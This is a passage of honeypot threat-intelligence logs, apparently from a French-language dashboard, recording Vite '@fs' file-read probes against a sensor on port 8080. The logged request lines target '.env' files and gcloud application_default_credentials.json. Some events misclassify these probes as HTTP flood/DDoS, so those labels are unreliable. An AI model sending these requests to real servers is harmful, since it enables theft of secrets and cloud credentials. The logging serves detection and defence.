"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "598a8ce9e4c6d7b42caeca535e3467b6e5057bba",
"event_fingerprint": "65f9341bbd6332fce4b11658dd86b14324279f98",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 215,
"precision_signals": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "a737daf20a85ce2d4fb4398f5fe3cd25",
"path_pattern_hash": "853adf4af63e69aba23f44f0ff9c9333"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWeb",
"method": "GET",
"path": "\/@fs\/src\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWeb",
"evidence": {
"method": "GET",
"path": "\/@fs\/src\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWeb",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "571b1988614e8672454ef3268d4fc51eb1b647a8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/src\/.env",
"request_line": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWeb",
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/src\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-config-leak",
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/src\/.env",
"request_line": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/src\/.env",
"evidence_snippet": "GET \/@fs\/src\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWeb",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/root/.config/gcloud/application_default_cr…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/root/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/root/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/root/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/root/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/root/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mo
Requête brute (extrait)
GET /@fs/root/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 5,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "1c75ce2e44a2859d003321f75957e61543e7e69f",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 264,
"payload_entropy": 5.385706091778947,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "ae4b2113aa23393610c4007c59235cf232c49652",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "9206c909c49aec17892281a8908692f3",
"path_pattern_hash": "4fc1f3d08e5c08178fc899d09dd4a465"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mo",
"method": "GET",
"path": "\/@fs\/root\/.config\/gcloud\/application_default_credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:",
"payload_snippet": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mo",
"evidence": {
"method": "GET",
"path": "\/@fs\/root\/.config\/gcloud\/application_default_credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:",
"payload_snippet": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mo",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2dd67422c3293f04f9ca0a50d47d5fdcb7d2b670",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mo",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.config\/gcloud\/application_default_cr\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.config\/gcloud\/application_default_cr\u2026",
"evidence_snippet": "GET \/@fs\/root\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mo",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/home/ubuntu/.config/gcloud/application_def…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/home/ubuntu/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/home/ubuntu/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1
connection: close
accept: */*
user-ag
Requête brute (extrait)
GET /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 6,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "571ba475333edf154f1355545529447530227474",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 271,
"payload_entropy": 5.405752182257165,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "bf9866ad67cc67555aee23460de451b9178ad981",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "7d1bf4cc2bb2cf6c008f7dcec03dd015",
"path_pattern_hash": "89fdca5cae1eab6b1ba4de82b7f4bdab"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-ag",
"method": "GET",
"path": "\/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3",
"payload_snippet": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-ag",
"evidence": {
"method": "GET",
"path": "\/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3",
"payload_snippet": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-ag",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0605619b8c57423835d0fa0b4dfc5df701117898",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-ag",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/home\/ubuntu\/.config\/gcloud\/application_def\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
